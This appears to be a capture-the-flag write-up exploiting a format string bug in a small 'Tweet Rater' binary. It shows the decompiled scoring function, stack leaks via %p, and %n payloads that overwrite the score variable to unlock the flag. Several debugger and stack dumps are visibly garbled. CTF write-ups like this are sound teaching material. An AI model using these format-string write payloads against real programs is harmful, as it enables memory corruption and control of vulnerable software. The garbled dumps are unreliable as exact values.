

ANALYSIS:

First to start the analysis of the binary we will run it and check the output. We get the following output:

```
dosxuz@dosxuz-pc:~/boi/tweet-raider$ ./tweet-raider
Welcome to Mlon Eusk's Tweet Rater!
Input your tweet, and we will give you a rating.
Tweet: aslkjdlaksjd
Your tweet:
aslkjdlaksjd
Your score: 0
dosxuz@dosxuz-pc:~/boi/tweet-raider$
```

Then we load the binary in Cutter and get the disassembly and the pseudo code:





We take a look at the decompilation and find out that there is a format string bug in the binary, we'll come to it later. We see that there is a calculateScore function which calculates the score based on our Tweet. So we check the disassembly of the calculateScore function:

```
void calculateScore(char *arg1, void *arg2)
char cVar1;
int32_t iVar2;
void *var_20h;
char *s1;
int32 tn;
int64_t var_8h;
s1 = arg1;
while (*s1 != '\0') {
cVar1 = tolower((uint64_t)(uint32_t)(int32_t)*s1);
*s1 = cVar1;
s1 = s1 + 1;
}
n = 0;
while (arg1[n] != '\0') {
iVar2 = strncmp(arg1 + n, 0xfea, 5);
if (iVar2 == 0) {
(int32_t *)arg2 = (int32_t *)arg2 + 1;
iVar2 = strncmp(arg1 + n, 0xff0, 6);
if (iVar2 == 0) {
*(int32_t *)arg2 = *(int32_t *)arg2 + 1;
iVar2 = strncmp(arg1 + n, 0xff7, 8);
if (iVar2 == 0) {
(int32_t *)arg2 = (int32_t *)arg2 + 1;
}
iVar2 = strncmp(arg1 + n, 0x1000, 4);
if (iVar2 == 0) {
(int32_t *)arg2 = (int32_t *)arg2 + 1;
}
iVar2 = strncmp(arg1 + n, "dank", 4);
if (iVar2 == 0) {
*(int32_t *)arg2 = *(int32_t *)arg2 + 1;
iVar2 = strncmp(arg1 + n, "dope", 4);
if (iVar2 == 0) {
(int32_t *)arg2 = (int32_t *)arg2 + 1;
iVar2 = strncmp(arg1 + n, 0x100f, 3);
```

```
if (iVar2 == 0) {
*(int32_t *)arg2 = *(int32_t *)arg2 + 1;
}
iVar2 = strncmp(arg1 + n, 0x1013, 3);
if (iVar2 == 0) {
(int32_t *)arg2 = (int32_t *)arg2 + 1;
}
iVar2 = strncmp(arg1 + n, "cybertruck", 10);
if (iVar2 == 0) {
(int32_t *)arg2 = (int32_t *)arg2 + 1;
iVar2 = strncmp(arg1 + n, "cyber", 5);
if (iVar2 == 0) {
(int32_t *)arg2 = (int32_t *)arg2 + 1;
iVar2 = strncmp(arg1 + n, "truck", 5);
if (iVar2 == 0) {
(int32_t *)arg2 = (int32_t *)arg2 + 1;
}
iVar2 = strncmp(arg1 + n, "tesla", 5);
if (iVar2 == 0) {
(int32_t *)arg2 = (int32_t *)arg2 + 1;
}
iVar2 = strncmp(arg1 + n, "boring", 6);
if (iVar2 == 0) {
*(int32_t *)arg2 = *(int32_t *)arg2 + 1;
}
iVar2 = strncmp(arg1 + n, "tunnel", 6);
if (iVar2 == 0) {
(int32_t *)arg2 = (int32_t *)arg2 + 1;
}
iVar2 = strncmp(arg1 + n, "flamethrower", 0xc);
if (iVar2 == 0) {
(int32_t *)arg2 = (int32_t *)arg2 + 1;
}
iVar2 = strncmp(arg1 + n, "meme", 4);
if (iVar2 == 0) {
(int32_t *)arg2 = (int32_t *)arg2 + 1;
}
n = n + 1;
}
return;
}
```

We see that the function compares our input string with some hardcoded strings and adds +1 for each of the matched hardcoded strings. Then it returns our score based on that. Now in the main function it checks whether our score is greater than 9000 or not. If it is greater than 9000, it calls a function which outputs the flag. If not, then it exits the program normally. We see that the hardcoded keywords can be repeated but it will accept number of strings till a certain number only. So, we cannot get past the score limit by just inputting normal strings.

THE BUG:

As we have already seen that there's a fornat string bug and we can use it to our advantage. So we pass a cyclic pattern string of 20 length along with some %p which will leak the positions from the stack. Here's the output:

b'Remote debugging from host 127.0.0.1, port 57584\n'

```
[DEBUG] Received 0x5d bytes:
    b"Welcome to Mlon Eusk's Tweet Rater!\n"
    b'Input your tweet, and we will give you a rating.\n'
    b'\n'
    b'Tweet: '
[DEBUG] Sent 0x65 bytes:
    b'aaaabaaacaaadaaaeaaa %p
%p %p %p \n'
[*] Switching to interactive mode
[DEBUG] Received 0x17f bytes:
    b'Your tweet:\n'
    b'aaaabaaacaaadaaaeaaa 0x7fe5620da723 (nil) 0x7fe562000317 0xc (nil) 0x7ffc8c190fb0
0x55b57d23e2a0 0x6161616261616161 0x61616164616163 0x2070252061616165 0x2070252020702520
  0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x20702520
702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0xa20702520 \n'
    b'Your score: 0\n'
Your tweet:
aaaabaaacaaadaaaeaaa 0x7fe5620da723
                                      (nil)
                                            0x7fe562000317
                                                             0xc (nil)
                                                                          0x7ffc8c190fb0
7d23e2a0 0x6161616261616161 0x6161616461616163 0x2070252061616165 0x2070252020702520 0x20
70252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x20702520 0x2070252020702520
  0x2070252020702520 0x2070252020702520 0x2070252020702520 0xa20702520
Your score: 0
 а
                                             Terminal
0x00007ffc8c190f58 +0x0038: "%p
   0x55b57ccf5f16 <main+271>
                                jle
                                       0x55b57ccf5f38 <main+305>
   0x55b57ccf5f18 <main+273>
                                lea
                                       rdi, [rip+0x1b3]
                                                            # 0x55b57ccf60d2
                                       0x55b57ccf5800 <puts@plt>
   0x55b57ccf5f1f <main+280>
                                call
   0x55b57ccf5f24 <main+285>
                                       rdi, [rip+0x1c0]
                                                             # 0x55b57ccf60eb
                                lea
                                call
   0x55b57ccf5f2b <main+292>
                                       0x55b57ccf59ba <readFile>
[#0] Id 1, Name: "tweet-raider", stopped 0x55b57ccf5f11 in main (), reason: BREAKPOINT
[#0] 0x55b57ccf5f11 → main()
gef⊁
```

Now if we check the stack to find out exactly from where we are leaking the stack :

gef➤ x/50gx \$rsp		
0x7ffc8c190f20:	0x00007ffc8c190fb0 0x000055b57d23e2a0	
0x7ffc8c190f30:	0x6161616261616161	0x6161616461616163
0x7ffc8c190f40:	0x2070252061616165	0x2070252020702520
0x7ffc8c190f50:	0x2070252020702520	0x2070252020702520
0x7ffc8c190f60:	0x2070252020702520	0x2070252020702520
0x7ffc8c190f70:	0x2070252020702520	0x2070252020702520
0x7ffc8c190f80:	0x2070252020702520	0x2070252020702520
0x7ffc8c190f90:	0x0000000a20702520	0x0000004000000100
0x7ffc8c190fa0:	0x00000000ffffffff $0x0000$	0000000000000
0x7ffc8c190fb0:	0x00007ffc8c1da2a8 0x000	07fe562123730
0x7ffc8c190fc0:	0x0000000000000000	0x0000000000000000
0x7ffc8c190fd0:	0x0000000000000000	0x0000000000000000
0x7ffc8c190fe0:	0x0000000000000000	0x0000000000000000
0x7ffc8c190ff0:	0x000055b57ccf50400x000	0000000f0b5ff
0x7ffc8c191000:	0x00000000000000c2	0x00007ffc8c191037
0x7ffc8c191010:	0x00007ffc8c191036 0x000	07fe561fae7e5
0x7ffc8c191020:	0x0000000000000001	0x000055b57ccf5fad
0x7ffc8c191030:	0x00007fe5620df008 0x00000000000000000	
0x7ffc8c191040:	0x000055b57ccf5f60 0x000	055b57ccf58b0
0x7ffc8c191050:	0x00007ffc8c191140 0xa0d	f13be3946f200
0x7ffc8c191060:	0x000055b57ccf5f60 0x000	07fe561f161e3
0x7ffc8c191070:	0x0000000000000000	0x00007ffc8c191148
0x7ffc8c191080:	0x000000100040000	0x000055b57ccf5e07
0x7ffc8c191090:	0x0000000000000000	0xac8b034bac59243e
0x7ffc8c1910a0:	0x000055b57ccf58b00x00007ffc8c191140	

We will find out that from the 8th position, we are leaking our cyclic pattern input. But we need to check where our score is stored, because it is the one we need to change. So we check the instruction at offset 0xf08 we find out that our score is stored at the position rbp-0x138. So we check the value at that place.

gef➤ x \$rbp-0x138

0x7ffc8c190f28: 0x000055b57d23e2a0

After that we check the value at the point where it is pointing to.

gef➤ x 0x000055b57d23e2a0

0x55b57d23e2a0: 0x0000000000000000

we see that currently out score is 0. Now we need to find out, at which position we are leaking this particular position from the stack.

Your tweet:

aaaabaaacaaadaaaeaaa 0x7fe5620da723 (nil) 0x7fe562000317 0xc (nil) 0x7ffc8c190fb0 0x55b57d23e2a0 0x6161616261616161 0x6161616164616163 0x2070252061616165 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520

If we look at the above output, we will find out that this position from the stack is leaked at the 7^{th} offset. So we specifically need to write at the 7^{th} offset.

EXPLOITING THE BUG:

To test our theory we'll use the %n format string specifier. If we look at the documentation for format string specifiers, we will see that if no format string is specified, %n will write the number of characters printed to the stack. As we know printf returns the number of characters printed as integer. So we set our payload as follows:

payload = 'a'*200+'%7\$n'

To write the value 200 at the 7th position that is, our score located in the stack.


```
[DEBUG] Sent Oxcd bytes:
  aaaaaaaaaaaaaaa%7$n\n'
[*] Switching to interactive mode
[DEBUG] Received 0x101 bytes:
  b'Your tweet:\n'
  aaaaaaaaaaaaaaaa\n'
  b'Your score: 200\n'
  b'\n'
  b'Child exited with status 0\n'
Your tweet:
aaaaaaaaaaaa
Your score: 200
Child exited with status 0
[*] Program './tweet-raider' stopped with exit code 0
 ] Got EOF while reading in interactive
 0x7ff8cc934de0
  0x7ff8cc934103
                      call
  0x7ff8cc934108
                      mov
                          г12, гах
                           eax, DWORD PTR [rip+0x2b567]
  0x7ff8cc93410b
                                                  # 0x7ff8cc95f678
                      mov
  0x7ff8cc934111
                      pop
  0x7ff8cc934112
                           rsp, [rsp+rax*8]
                      lea
[#0] Id 1, Name: "tweet-raider", stopped 0x7ff8cc934100 in ?? (), reason: SIGTRAP
[#0] 0x7ff8cc934100 →
Continuing.
Reading /lib/x86_64-linux-gnu/libc.so.6 from remote target...
Reading /lib/x86_64-linux-gnu/libc-2.30.so from remote target...
Reading /lib/x86_64-linux-gnu/.debug/libc-2.30.so from remote target...
Reading /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.30.so from remote target...
Reading /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.30.so from remote target...
[Inferior 1 (process 3374) exited normally]
```

Above we can the output and we see that we have successfully written into our score in the stack. However, if we try to write more number of characters into the stack,we won't be able to as the fgets in the main funtion takes till 280 bytes only. So we need to pad our format string specifier. This is how our final payload may look like:

```
payload = 'a'*20+' %7$9000p '+'%7$n'
```

b'Tweet: '

Here we are writing 20 a's to the stack and then writing 9000 padded format string %p followed by one format string %n which will finally write these things to the stack. Following is the output we get:



We can see that it has written 9022 bytes to the stack.